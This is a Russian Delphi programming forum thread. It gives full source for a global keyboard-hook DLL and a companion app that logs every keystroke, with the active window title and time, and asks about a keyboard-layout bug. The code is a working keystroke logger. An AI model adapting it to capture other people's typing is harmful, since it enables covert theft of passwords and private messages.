VPF::Hook на клавиатуру. - Форум программистов

ZaDoXliK

Дата 1.7.2011, 14:09 (ссылка)

(нет голосов)

Загрузка ...

Новичок

Профиль
Группа: Участник
Сообщений: 23
Регистрация: 1.12.2007
Где: Украина

Репутация: нет
Всего: нет

Выкладываю полные коды.
Код DLL:

Код


library Keyboard;
uses
  Windows, Messages;

const
HookMsg = WM_USER+$125;

var
  CurHook:HWND;

function KeyboardProc(code: integer; wParam: word; lParam: longint) : longint; stdcall;
Begin
if (Code=HC_ACTION) and (((lParam shr 16) and KF_UP)=0) then
begin
PostMessage(FindWindow(nil,'Test'),HookMsg,wParam,lParam);
Result:=CallNextHookEx(CurHook, Code, wParam, lParam);
end;
end;

procedure hook(Switch: Boolean; HandleProg: HWND) export; stdcall;
begin
  if switch=true then
    begin
      CurHook:= SetWindowsHookEx(WH_KEYBOARD, @KeyboardProc, HInstance, 0);
      if CurHook <> 0 then
          //MessageBox(0, 'Программа активирована', 'Уведомление', MB_OK+MB_ICONINFORMATION)
      else
         //MessageBox(0, 'Программе не удалось активировать клавиши. Попробуйте перезапустить', 'Ошибка', MB_OK+MB_ICONERROR);
    end
  else
  begin
    if UnhookWindowsHookEx(CurHook) then
     // MessageBox(0, 'Программа завершила работу', 'Уведомление', MB_OK+MB_ICONINFORMATION)
    else
     // MessageBox(0, 'Ошибка завершения программы', '', MB_OK+MB_ICONERROR);
  end;
end;

exports hook;
begin
end.

Тут в принципе всё понятно. Ставим хук на клавиатуру, при срабатывании хука отправляем на своё приложение сообщение с wParam,lParam где в дальнейшем их используем.

Приложение Test:

Код


unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ExtCtrls, StdCtrls, ComCtrls;
const
HookMsg = WM_USER+$125;

type
  TForm1 = class(TForm)
    Button1: TButton;
    Button2: TButton;
    SB: TStatusBar;
    Memo1: TMemo;
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
  private

  public
    procedure WndProc(var Msg: TMessage); override;
  end;

var
  Form1: TForm1;
  WNDName,T:String;
  LibHandle:THandle;
  B:array[0..255] of char;
  Key:array[0..255] of char;
  KS: TKeyboardState;
  Hook: procedure (switch : Boolean; HandleProg: HWND) stdcall;
implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
begin
@hook:= nil;
LibHandle:= LoadLibrary(PChar('Keyboard.dll'));
@hook:=GetProcAddress(LibHandle, 'hook');
Hook(True, Form1.Handle);
IF LibHandle=0 then
  Begin
    SB.Panels[0].Text:='Keyboard.dll не загрузилась';
  End
  else
    SB.Panels[0].Text:='DLL:'+IntToStr(LibHandle);
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
@hook:= nil;
LibHandle:= LoadLibrary(PChar('Keyboard.dll'));
@hook:=GetProcAddress(LibHandle, 'hook');
Hook(False, Form1.Handle);
FreeLibrary(LibHandle);
end;
{$I-}
procedure Tform1.WndProc(var Msg: TMessage);
begin
inherited ;
if Msg.Msg = HookMsg then
  begin
    GetKeyboardState(KS);
    GetWindowText(GetForegroundWindow,B,SizeOf(B));
    GetKeyNameText(Msg.lParam,Key,SizeOf(key));
    ToASCII(msg.WParam,msg.LParam,KS,Key,SizeOf(Key));
    T:=TimeToStr(Time);
    IF B=WNDName then
    Memo1.Lines.Add(Key)
    else
        Begin
            Memo1.Lines.Add('==================');
            Memo1.Lines.Add(T);
            Memo1.Lines.Add(B);
            Memo1.Lines.Add('==================');
            Memo1.Lines.Add('');
            Memo1.Lines.Add(Key);
            WNDName:=B;
        End;
  End;
End; 
end.

Тут тоже всё просто. Получаем сообщение из DLL, обрабатываем его:
Берём раскладку клавиатуры
Берем название активного окна
Записываем в Memo отчёт в каком окне и какая клавиша нажата.

Теперь вопрос:
Если в приложении Test менять роскладку клавиатуры, то и в отчёте видно какое олкно и раскладку eng и rus буквы.
Если менять в другом окне раскладку, то видно в отчёте название окна и ТОЛЬКО АНГЛИЙСКИЕ БУКВЫ - почему так, почему не переводятся на русский?
Прикрепил готовое приложение для тех кому лень компилировать.

Присоединённый файл ( Кол-во скачиваний: 26 )

Test.rar 171,27 Kb

ZaDoXliK

Дата 1.7.2011, 18:49 (ссылка)

(нет голосов)

Загрузка ...

Новичок

Профиль
Группа: Участник
Сообщений: 23
Регистрация: 1.12.2007
Где: Украина

Репутация: нет
Всего: нет

Проблема решилась записью перехваченных клавиш прямо из длл.
По скольку getkeyboardstate работает не глобально, т.е. сохраняет настройки раскладки родительского окна - того что загрузило саму DLL.

Это сообщение отредактировал(а) ZaDoXliK - 2.7.2011, 12:03

0 Пользователей читают эту тему (0 Гостей и 0 Скрытых Пользователей)
0 Пользователей:
« Предыдущая тема \| Delphi: Общие вопросы \| Следующая тема »